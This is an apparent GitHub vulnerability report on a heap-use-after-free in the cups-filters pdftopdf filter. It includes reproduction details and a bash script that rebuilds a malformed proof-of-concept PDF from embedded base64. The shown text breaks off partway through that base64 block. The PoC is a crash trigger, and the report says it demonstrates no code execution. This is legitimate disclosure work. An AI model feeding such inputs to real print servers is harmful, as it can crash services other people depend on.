Skip to content

pdftopdf: freed annotation XObject name remains in a PDFio dictionary #188

Description

@kimaiden1984-boop

Summary

flatten_pdf() stores a heap-allocated annotation XObject name as a PDFio
dictionary key and then immediately frees it. PDFio retains the key pointer
rather than copying the string. A later dictionary insertion or output
serialization reads the freed allocation, producing a deterministic
heap-use-after-free in a normal pdftopdf filter invocation.

The demonstrated primitive is a document-triggered freed-pointer read during
dictionary search, sorting, and serialization. ASan stops on the first read;
no controlled out-of-bounds write or code execution is demonstrated.

Validated revisions:

  • cups-filters: 11d1a190530f85a361a1b3835f57d635256dff1a
  • libcupsfilters: 905fd94fb22a9298bc8e2c845eb7e04f7055b686
  • libppd: 522af8dd135f4dde66b1aac8b9d067808bbe122d
  • PDFio: 72cfbd91e55621769c076e60d3a56e30a2538a15

Reproduction

Final upstream recheck on 2026-08-02: OpenPrinting/cups-filters 11d1a190530f85a361a1b3835f57d635256dff1a, libcupsfilters 905fd94fb22a9298bc8e2c845eb7e04f7055b686, and libppd fc41539f761286396a7df8aeeda762070192e37e.

poc/document.pdf is a parseable one-page PDF 1.6 derived from a regular form
document. The PoC changes one byte in an annotation dictionary, turning /AP
into the unknown key /aP. This removes the selected appearance dictionary
while preserving the annotation rectangle and enough semantic structure for
the fallback appearance path. Its SHA-256 is
94cdf14d7b8577c02be2bf7b8d0324d3cabcc3f956f956e2e3c5f881e7c28f61.

Run:

./reproduce.sh

asan-latest-pdfio.txt was produced by the same standalone wrapper statically
linked against the revisions above.

The following commented Bash script constructs the exact PoC and control
inputs. Save it as make_poc.sh, then run bash make_poc.sh poc.

#!/usr/bin/env bash
set -euo pipefail

# PoC: pdftopdf: freed annotation XObject name remains in a PDFio dictionary
# Finding ID: pdftopdf-annotation-xobject-key-use-after-free
# Trigger: flatten_pdf() stores a heap-allocated annotation XObject name as a
# PDFio dictionary key and then immediately frees it. PDFio retains the key
# pointer rather than copying the string. A later dictionary insertion or
# output serialization reads the freed allocation, producing a deterministic
# heap-use-after-free in a normal pdftopdf filter invocation.
#
# Binary PDFs, Raster files, images, and PPDs are stored as gzip-compressed
# base64 so embedded NUL bytes and exact parser offsets survive copy/paste.
# Every reconstructed file is checked before the vulnerable program is run.

OUTPUT_DIR="${1:-poc}"
mkdir -p "$OUTPUT_DIR"

for tool in base64 gzip sha256sum; do
  command -v "$tool" >/dev/null || {
    printf 'missing required tool: %s\n' "$tool" >&2
    exit 1
  }
done

write_file() {
  local name="$1"
  local expected_sha256="$2"
  local path="$OUTPUT_DIR/$name"
  local actual_sha256

  mkdir -p "$(dirname "$path")"
  base64 --decode | gzip --decompress > "$path"
  actual_sha256="$(sha256sum "$path")"
  actual_sha256="${actual_sha256%% *}"
  if [[ "$actual_sha256" != "$expected_sha256" ]]; then
    printf 'SHA-256 mismatch for %s\n' "$path" >&2
    return 1
  fi
  printf '%s  %s bytes  sha256=%s\n' \
    "$path" "$(wc -c < "$path")" "$actual_sha256"
}

# Malformed or boundary document consumed by the real filter/API.
# Output: document.pdf (72427 bytes)
write_file document.pdf 94cdf14d7b8577c02be2bf7b8d0324d3cabcc3f956f956e2e3c5f881e7c28f61 <<'POC_PAYLOAD_0'
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
